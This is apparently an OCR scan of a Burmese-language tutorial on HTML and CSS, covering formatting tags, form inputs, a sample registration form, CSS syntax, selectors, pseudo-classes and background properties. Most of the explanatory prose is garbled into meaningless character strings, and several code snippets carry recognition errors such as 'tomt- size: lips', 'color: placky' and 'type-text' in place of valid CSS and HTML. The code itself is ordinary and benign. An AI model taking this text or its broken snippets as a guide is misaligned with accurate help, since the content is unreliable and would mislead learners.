go Format coóo> Element eo (6586005896) 0099036:3905:0(0}90G0lo0:1 ICONO 
c `x O27 ` ° ` iN coc iN 
@95{Gq05 0 Style Detail o9 CSS à 2205905 ¿colon 


ç 


slefa ps: W3C o» XHTML qo <b> «i» <s> <u> 32090) Formatting Elements 0205 G0 
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ery ex c IN IN IN e S ^ e Ç x 
0903(96$02[8dclos051 sleoeo$cops: Document eopeo coé[go:ooeoəšeooo sea: eoe Logo} 
;l IN c ;| IN x° 0 e c CN c $5 oco : 
02602 oloCoooooloooSI 33808 sacg:a6c0:60:609(G90G03 00602390209 s: [$E Semantic 
Element (g603 <strong> «em» «del» 0909 c0»? XHTML $00099296:60:30lo»03i 


«i»Hello, World!«/i» Regon: qi Hello, World! cŠ 005: 6006: §95(G000:03 qco$o?qgooli 





à o ç ç 2. C NN c M e x c Os o c 
<em>Hello, World!</em> c9 eqio»o:qecopo: D$: eo A ÒC OA oppso3qcoso3dqGeo[(gdol 

e c š ° o c O o p Q ° oc 
Od0dII alles «i» Element z200: <em> Element 99:090909220q[:09:292: C900 99: CD coop Anso] 

ç ç ç o o ç O ç O ç c " 9 2, UEM son QN AS c 
ODLI ogj$eoo3020202020209 [0$ee:25$0000» "ma 090$:e096:05:02005 7?" Bodee:g§: [fodol 
€ ° € Co c ç o C x98 o ore ç O c ç ° 
NI DAV? G02C:0900002000980000 səqpp:səo: sç 33300020(8:09:(82: e» aj 6 c9 (86 0o» o5 <em> ap 
. ç ç O x ° e € ç ore ° co ç € ° ç 
ooo Emphasis (aoo: foes) ¿nel [srl 8(8:308Q]a5golos05 1 slefoxg 9209:600C: 
codo c9050le9 sa8gloSqo3 <i> Element 3200: seog:(QjeoS(9cpo$0le9 sa8glosqo3 <em> Element 

o? o5:000000(8: Semantic (S9 eo eo(seolo»o3 


sleoeascops: HTMLS geo <u> Element maes səo:c3:o2əç[o|ooo:oloooSi 3225:qp:0) 
Formatting Elements 0303 @95{Ge0:8030los051 


<b> - 00093602 Bold coóceS[o@ səo5: [S 8ColoooS (Example) 
. ° ° ° C. cmo ° oc | € 
<i> - oA: cog 00C9:600C:4 coos so gto mu (Example) 
<s> - 0205:60303 Strike-through cpd8:605[08 aeos: [o ¿colors (Example) 
ore e e Q s £ e O€ e 

<strong> - SE: qo:eol'eg6eocoo? 906093205059»:&60loo05 (Example)i 

IN Q * C e OC ;| IN 
«em» - səco: [o eA Ro coo ma: colonos (Example)! 
<del> - qoo: e(p256: 390860:605(G0303 ©960739020305:&60los05 (Example) 

: cmo s,0€ € nd 
<sup> - Superscript coəoceo[oe a$: olos (Example - 2")! 
<sub> - Subscript 602603(08 93:86 0los05 (Example - H5O)u 
<code> - Program Code eog copsogé:603(08 a$: Riolo (Example)! 
<pre> - [3,006 Format 095000:03 ©2602603(0805:8 60looo3i deg Bae HTML o» Whitespace eoo 
o? @93[GeeQeGe0ea$ <pre> Element ceo coa3a9é:000:03 Whitespace e02096009 se:00:000: o) 
32096: ce[oco:oo[eeoloooSi HTML Document òg 0296(0226:000390) Program Code coo 

IN e eo ° CN c e 

oop?ogé:eo?(00. 3209:0C09 Element (gdolos051 


Form and Inputs 

0mygmmoné:some pos Form e020lo6000922c90 HTML Document CORIS: Form coo 
cop) 29:09 golosi səo>:[o|oocoooo 23 nasa: qo Element 8 Input Element Creatas) 
eal olosoSu efeso] S0:ooGooo Text Input (S9olo»o5u 


«input» Element soos: fq: type Attribute go "text" co 000390360: qol Empty Tag 
0269 [8903320209 Close Tag š Content eQolop: u 
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<input type="text"> 


mos»: 390530603 Attribute coo q9le22:02o5u value Attribute o? Text Input go Default Value 


e ° e ` Ç e ° ° e e ee 
eog Ro 0051 Text Input dm a3aq093200036090? 3905: ‘(et opme[GEsoéeoqiEqé readonly 
Attribute š MoS O od disabled Attribute à & Input % Mute as colonos maxlength 


coc 


Attribute à Text Input o59o c093026:96[G108 [C902 O20:3a6q320905 5 Bargooos§6olo05u pun - 
<input type="text" maxlength="6"> 


QO * IN 


Input ¿s207 Label cogo} o300$eo9[peoqj6 gico «label» Element o? 95:86 0los0511 


<label for="fname">First Name</label> 
<input type="text" id="fname"> 


<labe1> Element š $ <input> Element ej 4030030320205 «label» Element š for Attribute 
cC O Ç co ec M c e ° € o 
go «input» Element à id o? copsagézeo:[aé C $jo$soo$c903ooo9(s$0looo3€ ae 3909}: 


nO 


006022 seos:(o| | opo» "First Name" soo> Label BS óc9 Mas Text Input gra Focus (S965 GOGO 
d{8dclos05u 

Input Element &000092296:860) ao (go: Input 39Q||:390:602 golso:00 01 

<input type="password"> o? 3905:(0|99 Password ¿opc ¿color Text Input š 
səc[əŠ səo: [ec 0260009 səo>:[0|oosəa|o5səcooScooqoscoooopsəə] Star cco:eooso[eŠ elgoc: 5 
eoS[peo:eo? Input 3oq|:320o: [ydolo 


«input type="hidden"> UNO: Text Input š aefa ósa: (5602 0lo»o5i 3l]soeo hidden 20) 

oc 2 ° < < ç Sos o c < ç ç x 
3200€: soos: (o opo? 0093026: 605(G26U90503 Input sə@|:Ə2oo: [sóoloooŠi App 609020268020202 
32913 Hidden Input o» eş: ovlon 


«input type="checkbox"> oeo% Checkbox Option eogooasagé:8 seo»:[p|$60looohi 
checked Attribute ha: [o Í: Default Check opde0:§é0los05 checked Attribute ooo 





sopas checked-"checked" c9 eg:e0:q03 Attribute ord9[gdcloouSu esqəooc[oošooc0o 
IN ° x ers . IN c € enc c < Q oc € 
sopas (sólgór Attribute Name 22052»03qjo3:(89(89 $$220522c96q:860lo»o5u 


. : ° : : IN ç O ° oc IN CoN 
«input type="radio"> (coo Radio Option eopoop?o9c:G aeos: [fo los ap: ð 
checked Attribute RÒ Default Check o5oboosaColoooSI co: [so:aJo5oocoog! Radio Option oN 
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e > c C, On IN > : ° ;| e c IN ç o IN 
eg:opseqp:(o3: M 02090099:0?0 GQ:9CÇGO:o Option 3aq|:3200:0!i 30906s00CqJ0? «9320205 
səQl: 3202:07 Radio Option 60303 name Attribute 009360: 40103051 2009 - 


<input type="radio" name="gender" value="male"> 
<input type="radio" name="gender" value="female"> 


<input type="submit"> meon Button 09303638 səo5:[O|qoloooŠi submit Button ox Form 
0299320205 326q:39 (68: so: (89 0lo» o5 submit Button 32090090002 3994: (e) PHP Basic go 000 
që: co:oo[eóoloooSi 


ya I | value Attribute ooo Text Input 602320905 Default Value eLa: fo olos Checkbox š 
Radio Option 023209096009 DPR P Element 4, 02§:8:000590560:8 9$:q 010905 Button Element coo 
3202096009 value Attribute o? Button eol gocol o? Button Label 30508 a22: fo culona poe <input 
type="submit" value="Save"> 


<input type="reset"> vs: Button ooëəo[eóoloooSi reset Button o? &dc$o5qé Input 
390: Cio cop2o2C:coo:o>səa|jo5səcoos copo? q:c26:eo:eo(s9olo»oóu 8 Button ooo 925:22602 
Button 0009 [ešoloooši Web Form o»99eo(so3996:0«p Input (20) 994 olo»o5s9 [20g v 320109: 
bas: basg] Qo:es c? (oo) 9c):02 (0995: Lia onssa: 4): o maca eoeQolop: v go: 
co [oš[eəša|écó 0299409 òli 3 Button copàcoo:Əe səo>:[o|opoo econo: 0896 [sp 
¿DN 0:04 3203259: Lfs qA Lan Q8ColoooSi User Experience qe3l&o»(p29$eo5 
Res səco:c9 afg nd ons peA e25:25602 Button odg feol 


«input type="button"> uo: Button 00q|:9 [eŠoloooSi 25026002 Button 320905026920 


[ešoloooŠi 200290959075 g00070501993 t JavaScript § Zoda: Roason 200: (0900) 


Button mo: (ssclona 1 


«button» Element ooo cops: <input type="button"> š 3202099086 0lo» 05i oo: [so:aJo5oo 

<button> Element oo Full Element 0269803300305 Element Content § Close Tag loSi 

gon - <button>Download</button> c3 es: qe»(88olo»o5u qco$006009 «input type- 
eus Q e. ^ IN e 

"button" value="Download"> a) eq:oooi(s6:à 39020209 92(8 6000051 








On 


«button» Element e co: [so:a|o5oo dede Formatting Tag 60303 Content 9o copseq:cha 8 
(88:9 (Gdcloo05u poe - <button>Download <b>file.pdf</b></button> c9 eq:2000:$6 
3902009 g105G90(8 6000051 


8, 


IN co e IN > Gure IN o IN 
e&oo5 Input Element 30:09 $0le00:001 Textarea § Select Box o?9(s90lo»oóu 0202320205602? 
«input» Element eop:olog:s: Textarea c09$2596:832090? «textarea» Element o30}:qoloocSu 
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co: [90:90 <textarea> UN <input> c2 Empty Element eopo30log: v 329632005Q0? Full 
Element (66002051 (6:602? Default Value 2059058300209 «input type-"text"» qoc? value 
Attribute a:f: oo03eo3c9eqolop: t Default Value o? 3096 Tag à 39005 Tag (020:69 96:60:80] 
oI poeo - «textarea»Default Text«/textarea» 


Select Box o? Drop-Down Box Amps: calolonaSn 0009996:03209096002 «select» Element o? 
2924) olooSu gói eg:ospeogc:oqjcooeo[eëoloooŠši Cgo pog: Reo <option> Element 
cogà 220590360:$60lo»oÀi poeo - 


“selec 
<option value="1">Apple</option> 
<option value="2">Orange</option> 
<option value="3" selected>Mango</option> 
<option value="4">Grape</option> 
</select> 


«option» Element 60299 value Attribute 22095903000:0020? o»o9(goli pue - Orange cŠ egoe 

e IN IN > co e c IN : IN 
296299 eo3(9o00:60e0$ RANS: (2) [eëoloooSu value Attribute eco:coo:copo: qol 
00011 6G0:000: 66002 eg:ospooq:eoec3(9000:0? Orange 036 RÀ value eş: fo oz: 
@g203005 SL selected Attribute (s9olooo$« ooo Default eg:cor:e0:e00$03 
«option» Element qo 0099996:60:q92 [ešoloooSi selected Attribute 60:000:03 «option» eg 
qi eol: «option» o? Default sag 69:000:60:929 (s90lo»oóu 


HTML Form $930 


<!doctype html» 
tdem 
«head» 
«meta charset="UTF-8"> 
<title>HTML Form</title> 
</head> 
<body> 
«hl»Form Inputs</h1> 
<form> 
<label for="fname">Name</label><br> 
<input type="text" id="name"><br> 











<label for="email">Email</label><br> 
<input type="text" id="email"><br> 





<label for="address">Address:</label><br> 
<textarea id="address"></textarea><br> 


pr 
<input type="radio" name="gender" id="male"> 
<label for="male">Male</label> 
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<input type="radio" name="gender" id="female"> 
<label for="female">Female</label><br> 
<br> 








<label for="education">Highest Education</label><br> 
<select id="education"> 
<option>High School</option> 
<option>Bachelor</option> 
<option>Post Graduate Diploma</option> 
<option>Master</option> 
<option>Ph.D</option> 
</select><br> <br> 


<input type="submit" value="send"> 
</form> 
</body> 
</html> 


$9$090eo3[9000:0? Form 0? form. html File Name à 07:07086:00p5:(8: Browser ¿gc[maas səə 
c? qué eSeoo(s9olo»oóu 
«", HTML Form - Mozilla Firefox 


f HTML Form | + 


Form Inputs 
Name 
Email 


Address: 


Male Female 


Highest Education 
High School = 


Send 
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€ AS : er x o € S oc, ee, AS 00 ° 
godqjod 1 n Browser go cu (903391 Element e020) 69903000 o8é:206:(8: ceo[ocoa|c qe <br> Element o> 
aoo»: fe oS <br> aĝo Line Break ĝo) səƏglo5[eé[0: Content š Close Tag e$o? Empty Element 075 

ç iN S 
9 oa: [gov 


Conclusion 

399603{9305 Element cogu» $:$: Text Document 00303 HTML Element cog or95es000503 

398] 00): (0,903 səc[gŠ Element qp:ó [ešoloooŠi (8099 05905222:8c90? Element à Attribute 60203 
c oc ç o c e IN e e )] ç @ ç 

DA P$: s003c003699[060: 220: qo(5 $0 omo 83288:926009! HTML Document coo 

ox Web App cog aef Data Structure eoo (802058 ora 39093(0}905000:60q|E 0020511 
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3294: (o) Cascading Style Sheets - CSS 


ç 


Ç C ° ç ç ° ç ç 
old App qpp:so2ogo5 a»qe[695 95:092 


W3C oo CSS o80§03:303 qg neon Document Content š Style o9 a(so: coo:a|éco[eëol 
0051 HTML 0% Content Structure oooŠesooo5@soəo5:[o Š: 338 Content 60203 900508961 mudar 
Style à cogen CSS š manner rl 


CSS Style Language o3080gé0§ 03:8 esp:es:[02e0»? alojar Proposal (g) Je Nl 

0001 BED (y) dRes: 080968 W3C oos$:(s0530lo»o3i Cascading HTML Style Sheets 

(CHSS) à Stream-based Style Sheet Proposal (SSP) coo[eóoloooŠi CHSS meon 0268026026 

oqjo3oqjo53eos:(o| es(o20? CSS &9(8: $:060looo3i sag§eox CSS 0? HTML emol: 00/30: 

Markup Language 6024 009503005 322: [o ¿colors (poeo - XML, SVG, XUL)u slefoxg CHSS 
° ç o Creo ° e e ` 

meg H o? 0050805(8: CSS c9 səeo5ooCeošocoooli 


c > X ` c IN IN c c 
mos»: Style Language ¢o2§0026 CSS e, ooógco:[eo:a|o5oocooo Document 0269300203 00909 
000390) Style Sheets cop Zopa: fog e: Style Sheet 00690030(90: Style Sheet 02990500 

IN e IN o . c ° c c ° OCOC x IN IN IN 
o003903000:q[096090? Cascade (Inherit) sufe: sooScoaSasa5;(0|8E fs: [ešoloooSi alejas 
cops: Cascading Style Sheet ca es Tooli oeeE 960 Secooocoeo CSS à ocoead: Version elon[so 
8olo»oói 32956009 CSS oo Version c9eo9:olop:u CSS Level 1 ceesTolooo3u 3296500989: HTMLS5 
š o30030lo6 coo(8: maga cocoa s9053(0,¢g03 CSS eo CSS3 (CSS Level 3) $ esTol 

IN 
O2OII 


3.1 - CSS Syntax 
CSS ooo Programming Language 02890072090009 Markup Language oo99cop9:eopoSolop:í 
@[a3[G0g]05 cog ooo5:coo:o> Language 0264}:(gd0los051 


"<h2> Element cooo oa: aaepe Bold coÓco:olli ji 
"class o9 'note' c9 o>2o5eo5coo:o> Element 60208 ona): Size 12 Pixels səob:[o|eeo[oolu" 
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- oo»(s6 ooo5 Element o? musa Style à e63{Gqecds8.0r003 ooo5eo5c[oo[Cocoo:o> c[oo[|Soa|ošep:o 


[solos eq:220:0 Syntax o? ó (o-oo) eo [mola 


selector { 
property: values; 
property: values; 


0 (2-0) CSS e«:220:966:00: 


Selector, Property, Values $25:4|:0$]oooo0li Selector soooo hl, p, img, li oo? HTML Element cop 

o? eg:qjoo(s6:(s$olooo5u Property eogmeo color, background, border, font-style oo? Style 

Property eoo [ešoloooši Values cozoeo blue, 20px, bold, center oo? Style Value cogo[eëol 

mn goeo - <p> Element c03300:0):040009:2088: 6996 3 coeo[oolco CSS à 33908 e(oX(£2e0:&860l 
€ 

mu - 


pit 
color: green; 


} 


$PP p o» Selector [ešoloooŠi color oo Property ll: green Meon Value [ešoloooŠi 


3.2 - CSS Selectors 

CSS eo &olo$ (o) səeg:so[o3:s0:oo Selector [sëoloooŠi Element eolé:qp:go& 9o0p:000:09 HTML 
c ` CS c C O * o c coc(^c ° 

Document 09690602 005 Style 2205905c90? Element o» Select coócg:ajo5ac[eC:ooo Ocoeso: 

8208 qosfasclonos 1 


Selector eo cogo səc[SŠsəoq|s02:oocooo Element Selector, ID Selector § Class Selector Bd (sol 
ooo$) Element Selector oco»? HTML Element Name à Select coó[ec:[eëoloooŠi ep 
HTML Element Rex Name 32096: CSS 4 Select coop colon $R], coeo[oco:oleoŠ š 


body ( 
background: black; 
color: white; 


} 
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hl { 
font-size: 24px; 


) 


ul { 
list-style: square; 
line-height: 20px; 
} 


a { 
color: yellow; 
text-decoration: none; 


body, hl, ul, a oo»[s6 Element Name səo2é: Select c700p[ac: [900332030 920308 Element 
Selector eə[ooooliu ID Selector meo id Attribute ooobəeo5eo:coo:o> Element cogo) id ¿0 Select 
ases: kolos pos - 02§6025038, HTML Document osgo 8c8 Element Structure oloécooŠ 


RO ole - 


<ul id="nav"> 
«li id-"key-nav"» .. </li> 
lee > 
< ee << Zhu > 
< Zm 
<p id="highlight"> .. </p> 
<ul id="sitemap"> 
< Apul 


<p id="foot-note"> .. </p> 


ul { background: pink; } c3 6300020058566 8 Structure qo oloéod <ul> Element 899 
OO: š, Background o» og: epi [edog aje socolo «ui» Element 029909320209 
Style o209909c9q66009 229260:000:0? ID Rol 0092296: Select c96eo:Qc9eo[s$0lo»o3i pue - 


ul#nav ( 
background: pink; 
} 


(9960903) 
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#nav { 
background: pink; 
} 


# Sign eco:o? ID Selector cfeslor{gdcloo05 ul#nav à, sgl "ID o? nav c9eo:coo:o) 
«ul» Element o? Select asol " soo? səƏglo5[eeoloooŠi #nav à asgl Sneon "ID nav aeo: ooo: 
o> Element o? Select coóol" soo>əəƏoloS[eóoloooSi sleng o»o$c9es:es: gfe i o 
9008 [8Šo> ID eo nav aeo: coo:o> <ul> Element o? Background o$:esp625039o9[s6:qco3 qà 
eoo[eóol] mn opo[so:qoó sagadzcS§e0e0s coocogcgk:oso:oysəələo cgk:oo:S5Qeg:ajoSeojo 
səƏoo[eŠc9 462203«0$05:006:à qes: Rolon 60:000:02 Structure sgsoeo <p> Element cops: 
&990lc9 BÖ id-"highlight" co c0:005:0? Element Od eg:opqié qe p#highlight 
(9960905) #highlight soo? ID Selector $99:006:à eg:0pécoo [sŠ oloooŠiI 


Class Selector meow Ger 22010320: (96 ID Selector à eósoésocolón Element co class 

Attribute co: coo:@cooloool # Sign o? ID Selector sə[eësəo5: [o| 900865 Dot (.) o? Class Selector 
e ° ç ç ç O ° o ° ç O ° 

s [e° səob:[O|qoloooši RJ CoR 3a) Element Structure Joradss8(o3018 II 


p ne p 
<p class= "note cu 
<p> be </p> 
<p Class—Inote"> </p> 


<p> Element cco:əoloColoooSi sleoeo? 3380500 class-"note" c9co:coo:obaóəo2o cg:a|joŠ 


IN 


Select asgje sé cooo 20%69:000:60:990 (S9 olo»o5u 


p.note ( 
color: gray; 
font-size: Alps; 


) 


(9960903) 


-note { 
color: gray; 
tomt- size: lips: 


} 


ID Selector 92085 p. note à s28gl50 "Class eo note c960:00o:0? <p> Element o? Select coóol" 


° 


9803 a»89loS(S9(8: .note à, 3289105026002 "Class eo note coeo:ooo:o> Element o? Select coóol" 
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¿anillo fOD pew: ego: olos ÒR] səƏgloS0Əcolcəc 
p.note 6302§08 300: 60: [03600030204], 20095: 02052006.052g.60}20003000009536$ 95:07: O 


9, 9, 


` ç 9 ç 
VEME .note 6800907 30:60: [molan 


oo5a|o5 u u HTML Document ooóəo ID 0707 Elements aëəeqosçolog:I CSS 02600? ID 0703 Element ¿09 

8 S: añəcó:səcoos 3a095096022:001511 leve ID o» Element cogo? Identify coSooool] 

eg COPS? &909:320905 020090090: PLÒI 3160602 999200309, ID Ro» Element copo? Identify c960»ooli 

Unique (s9s9looo$w CSS go [0os55soešeoeo5 6400996: JavaScript à Element cogo? 86039901 ID 070 

Element eo $es qê @0$c00:39503 29905393607 coəqeo[ešcloooi Class meo% Element co Classify 

Q jl ° o. Q 2, (63% 50% 9. 20505 El t 2 Cl 

090 ooooli! 999290329, 020» AERP o»:qooo[s$o» eoad]: səeo:ooo> Element eog Class səooo2 

60:000 woane o[sóolooo5i Front-End Expert e020260»? CSS 320205 Element cogo) ID eco:ó 
° IN e e 0 n o ç 

Class e0:0x002909G 602302050) afle endos 


3.3 - Slightly Advanced CSS Selectors 
səap5:coŠcg:[eo:[6: 390530603 Selector oq] o? coddee3(goleoSu 333 leo2a>60>) Descendant 
Selector, Child Selector, Attribute Selector 030 (ssolna 1 Descendant Selector 8.020 Element 
c e c ceo ` ° QO ° IN o IN 
02093209€:90 000806 Keg} Element copo» Select apo@ap:o! ooo Nested Selector cScops:eaTol 
€ c ° oc, O o € Ox IN 
ooo)! Document odg; Element e: Class eop ID cog coo5šco:esesp oð eg:qjoo 
Select qÊ sp3:coé:(sóc9 səcəšsəob:oColoooSi HTML Element Structure eco:02698 02 
(mpajé olovnu 


<a href="#">Outside Link</a> 


<p> 

<a href="#">Inside Link One</a> 

<strong><a href="#">Inside Link Two</a></strong> 
</p> 


$$09090 <a> Element o5:eolocoloooŠi 020900 o8: 62: $69 o»oolu ¿0909607 <p> Element ceo 
$les oxo «p» Element 32026:0000 «a» 029900 «strong» Element 020932096:05020006qp096$ 
o] eo0:0003i 338. «a» Element 60303 $503: Select apdap§éolor05u 


pat 
color: gray; 


} 


° x° ° ` ° o Ç c 
p [space] ag 6€:220:000:0000li 393 [space] o? Descendant Selector 32684 a: ofso 
ç ° € " ç ` o Co ec " ° ° ç 
O203II səƏgloŠ on "<p> Element 32056:0500 <a> Element copo? Select asol cosəƏolo5qol 
ç c ç M c ° ° ç O Ç x ç c 
O203II aleo <p> Element 3209€:0900 <a> Element aóəcào:oo eg:a|ošcoo5o2 ena: (sol 
ç ç c c e ° ` ° ç c iN c 
020511 slevou suce 23:[80:96$02 <a> 026009 0002296: Select agu olo: 
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ga I! 8980 Element Structure 9o «a» Element 602320905 href Attribute 9o URL 3209329$660:000:0 

+ Sign eco:09 co:ooo:olooo3i 333] 22235891056 e02030loo: $930 oo0$o»09eo3(9qj6 oo»(89 c9 URL 32093294 
e L ° Ó J L IL IL q » 
Š Ò eÓcoo8c208 + Sign eco:026900058: cop$00o: SoSooo[séolo»ou # Sign çco:ooo URL eo 

GOR 60020 somo g : 909993 p9000: 09 g E ¢ 


ç ç ° Oç * : : c o c [3 : ° > ° 
coQ3996: 322: [o $e o> Valid Sign (550% o»9[go: 95605006093290: + Sign o? 8990326883299: o»ooli 


P strong a { 
color: bay 


} 


p [space] strong [space] a 08 9$:009: 0100051 3o89lo500 "«p» Element 39036305001 
<strong> Element 3202:92 §ego3 <a> o? Select qol" 3803 glass co:coo:o> Structure 
coo Inside Link Two 0009 0299:020eg:qio3220: eo[s$0looo3i $505:8 Element 029932006:90 

c co M o p oc ç e : ° 
000804) eso? Element copo? Select pd: g olovo conmeoz, Project cooço eaa: foe 
099890 0064], c05de05(Gc8a5cloo05u 


#header a { 
text-decoration: none; 
color: placky 


| 


#nav li a.active ( 
background: black; 
color: white; 


} 


-note strong { 
font-weight: normal; 
color: red; 


} 


#footer p { 
font-size: llpx; 
color: gray; 


} 


a img { 
border: 0 none; 


) 


Child Selector meow Descendant ¿ooeomonep:eocolo ón Element 000239090: 90 œf Qes 
Element BO Select coÓoooolli oəo[so:ajo5oocooo Descendant Selector o» Element 020932026:90Q 


o 3, 


N 


a9] Basp803 Element 603390205203 Selector 0969303900 Child Selector meo% Direct Child (95 
o? Element cogon eg:qJo360:9ooli codsog Element 602§§e§ 03 se(8o: Element cozof 009993: 


N 


Select coógo:eoeooo5oloa:i Descendant Selector ecocoo& 25:30? Element Structure 039 [94 
səoà:[o|a|é olas n 
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<a href="#">Outside Link</a> 


<p> 

<a href="#">Inside Link One</a> 

<strong><a href="#">Inside Link Two</a></strong> 
</p> 


<p> Element 3902620500 <a> Element o? SgS: $p: Select c9d028Eclosa5u 


p > a í 
color: gray; 


} 


Arrow 296002600: (> ) Child Selector d(gdolos05u səƏglo5oo "<p> Element 902630500 Direct 
Child (9803 <a> Element o9 Select asol" 3803308 glo5{gdclos05u Š Selector o» Inside Link 
One 3803 <a> Element 0r690295:03009 6g:8[0360:990:9o0li Inside Link Two «90? <a> Element 

° : : ex So.» c co c Oo IN e IN 
Meo Direct Child 607036 <strong> Element 32026:0092 codec ges ooo[só c? o: egg] 
2972:92 @07050lo911 alo Child Selector Descendant Selector o98,022(82:4/039 [sëoloooši 


6203026902602} Attribute Selector [ešoloooŠi Element @oGO:coo:o2 Attribute š Select ason 
cre R r e ° Ç S e € e e e e 

(968: 090095:6 3260053299:0€02 Selector [ešoloooŠi 6c0:63l6096:32096:90 eq:60:401 on 2069 
- [title] 33020 title Attribute qo Element 39:09:09 Select aso fes: fso 
img[alt] 89660? <img> Element 60909009 alt Attribute qo? Element 60303 Select Nodo 
o»ooli img [alt="Feature"] Accor <img> Element €0909009 alt-"Feature" ca 0003902 
000:0? Element 60208 Select coóooo [8óoloooŠi səog:oo[8Ç «input» Element ooo 2? 02990005: 
text, radio, button eoxs6 Type seq|:q|: 0209909$60232090? 338 type Attribute o? səc[əŠ 
e IN o_o e e ç co ç o c € 

(8: Select c0060:8 aafo olos &9400098|. eoS(pc9oSolo»oóu 


input[type-text] (| 
background: yellow; 
border: 1px solid gray; 
} 


input[type=submit] { 
padding: Spx T5px; 
} 


input[type=radio] { 
margin-right: 5px; 


} 


399603{0303 Descendant Selector, Child Selector š Attribute Selector NR Beposessréss05:q] 
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€ NCS 


¿Codes Element 0205 Select 9090) qp:goo9espo3c9 0309290: 999(s$0lo»o5i 


3.4 - Pseudo-classes 

Pseudo-class 602029 CSS Selector $329033e06:o09q9(s60loooà: Element à, "səc[esəes" cole 
€ fe Q x € EN c ç ° 2 ° ` 

nm (8: Select asop: aÂ: eoe dolos aaefa 2e] aeos: (oopoo Element o? Mouse š 

S Q Ç x j| ° ° ` Q Q Ç x j| c X 

eom 090502328! soos: (oopoo Element o» Click coócoo5o2səsli Element o» Focus (99590:03 
j| S_o IN > IN ^ ç o ç 0 

32911 Element o» es005s0: Element (985307 sal ofeg Element 6034, nuova M050) 

Style efo ole 2905903868 Select uo) Selector 6036 (gd0lor05 

:hover Pseudo-class o» Element o? Mouse à ecooošcoos|oysəs] eeo[oeocoo> Style eo200059058 

o5:oloooóu 322): $0060»? - 


a:hover ( 
color: red; 


} 


Qo 


° Co Ç ° ` Co c s ° ° e ç ç 
esos <a> Element eog Mouse &e00009c9090235sl eoc9:3o$espc e(026:60:90 (95 
ol mun :hover səolsəoc Pseudo-class APR ep Element ¿03% o360$3eo5:(9|$60lo» o5 


93(03[8:(6603 Selector sogàcoo5: 036053225: [o ¿colon p00 - 


Q 


#nav li:hover { 
background: green; 


} 


p:hover a { 
color: lightblue; 
} 


: visited Pseudo-class 096009 <a> Element &o2002609325:(9|&60lo»oi 096(038030:0: o> URL 

° ç X : ° c oq > ° e, 9 ` : ` X 

N Q94:000:02 Link coo? 029 [03896290:9:622:02 URL 09? 994:s9000:0? Link eoz eoo (Qo: 

ç ç co C.» OC ç ° q. : o ° . 
esc Style 60225059050 32020995:&60lo» ou Google Search o? Wikipedia oc» Website cog 9o 
S.S ç o o < ^ ` < co crog ° 

ecocoo[n309«6 cops: eog gód oS eae: Link eoəoo saeqoordqj:1 oo9(096 930:0;(8: 

900: Link 60209 sepong]: A Eepos aoon səəšeooo Scoə[eo:eeo[Oooooso səo5:[o|oo 
< < ç o ç e o9 € : ° . . s. [° ^ < 

320209 qp:go3eccooo? salgo ogj$eoo3090»cop3: Link ego :visited a5:(8: ob[oo:esooc 

Style e05220390360:000:206 olor 
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color: blue; 


) 


a:visited { 
color: gray; 


} 


Ec§GrrroSgcSeurefag expre: Link ope eed oleo opio Link og 
026002 Sepon: à [Sooco:eoo[eóoloooŠi 


:active Pseudo-class neo Element o? Click ¿6030032031 (0800705) Touch qoos] 
ceo[ococoo> Style o9 220590583eo5:(9|$60| mn aya: Element àes2030033eo»:(9| 
oc p ç ° . oc Oo ç ` ` ° ° ç ç 
¿colon n 3leoeo$ 3905;(G|99 Click G00) 009 Element G08990030053905:{G}a0E0los051 


button:active { 
background: g y 
} 


: focus Pseudo-class o? Form Input Element coo (S60? «input» «textarea» «select» ons 


Zoa: fagon Element o? Focus eoad 92 2»05c9eo3(0«6c522059058 a:o 
coo 


input[type-text] { 
background: white; 


} 


input [type=text] : focus { 
background: yellow; 


) 


Sco 6€1:220:60:c909[s6:32o: (56 Text Input cogu» Qco00680058 so [e|espcšeeo[oes[9: Element o? 
Cursor espo$coo(8: Focus [eŠoə2o:o>səslə epici səclespcšc[ooS:coceeo[oco:oo[eecloooSi 
$292 Pseudo-class o? Attribute Selector à 036033205:(9|000: 02209 c593:2»03(9|2»€0lo»o5 v $0 
o ena logos 


:first-child Pseudo-class 026002 Select c99000:02 Element ¢o20502 ocoead: Element 0209 

0295:08 co:[go:eeo[oeecoo Style eo22003909825:0loooàs :last-child Pseudo-class cops: 

00600000$p:3202020l0€ :last-child oo Select c96000:0) Element cozodo e4005s5: Element 
c ce, 9 c O x e CO ° e | IN 

02990099:0? op:(so:es3[peo co? Style e022203903823:q0»»(590lo»o5u 
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#nav li:last-child ( 
border: 0 none; 


} 


#page p:first-child { 
font-weight: bold; 
} 


3.5 - Grouping Selectors 


ewo Selector co Group coO(9:e009cop9: soəo5:[o|8ColoooSi eeo[oeecoo Style ooo>səəl 
CSS Rule 0205 codsleodal[ogocq:d or8[a3dorn5:eq:chqSEgoo I 


p.note { 
background: #efefef; 
font-size: 12px; 


} 


#footer .copyright { 
background: #efefef; 
tont=size: 12px; 


} 


code { 
background: #efefef; 
font-size: dm»; 


x° 


GO: ooo: e 3097 Rules cozm 0?6$0000?602 ¿colono 32946009 INe ei ¿ona 
orp: eq gl 


p.note, #footer .copyright, code ( 
background: #efefef; 
font-size: 12m» 


Selector 603203 Comma (,) š ox: Group as fes: (soul Selector cogu CSS y eg: 
so (o: so: [s209 o»9[s0:6$ qpeopeocop: 3209:060]e22:0205i $ Selector 602090 jQuery oS 
JavaScript Framework cogo Lf: folo 
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3.6 - Basic Properties and Values 


Background 

Layout š 009220902099e02ecc90o096 səc[eŠoqo> CSS Property 03, qfi 
o»o$i Element 6034, Background 20050098320209 CSS Background Property (9) 9 loSi ss] 
cogeo background-color, background-image, background-repeat, background -attachment à 
background-position o2o[eóoloooŠi 3 Background Property GORUN 029986: Š cof 
oR0a3[8:eor20095: eaol Element eog egoaddaaeqréoo050005 wog Age 
background-color Property o? 95:86 0los05 


pit 
background-color: yellow; 


} 


background-color Property § o360332o5:(9|qo? Color Value seq: qj: los black, white, red, 
green, blue, yellow, cyan, brown, gray ofeg Color Name 60303 so $e oloasu 3leoeo$ 
NAO. 00800939600: NR Econo Color Name cojones con olor: t 3] 
eloog black à white ma39é oq|$o> Name 60209? 3225:4 09:0loo 03i 


< c M 2 o : c S ç ç O iN 
@g003000 Color Value 3268320»: (0|$6 02000600? RGB Function (gSolos05u 02|$ 60250? eoo 866s 

° So» iN o Smo ç ° x Ç ° e 9 
(o3, ¿ocn reos ogéqjjo»» Screen cozm Red, Green, Blue s90? saepe: epen 
c0l6:09(8:6009 eeo[oco:ooo[eëoloooSi CSS gomas: RGB Value co5220$903(8: cbajéo3 sacqnéod 
copà 996: 220): [9 £colo 1 


p í 
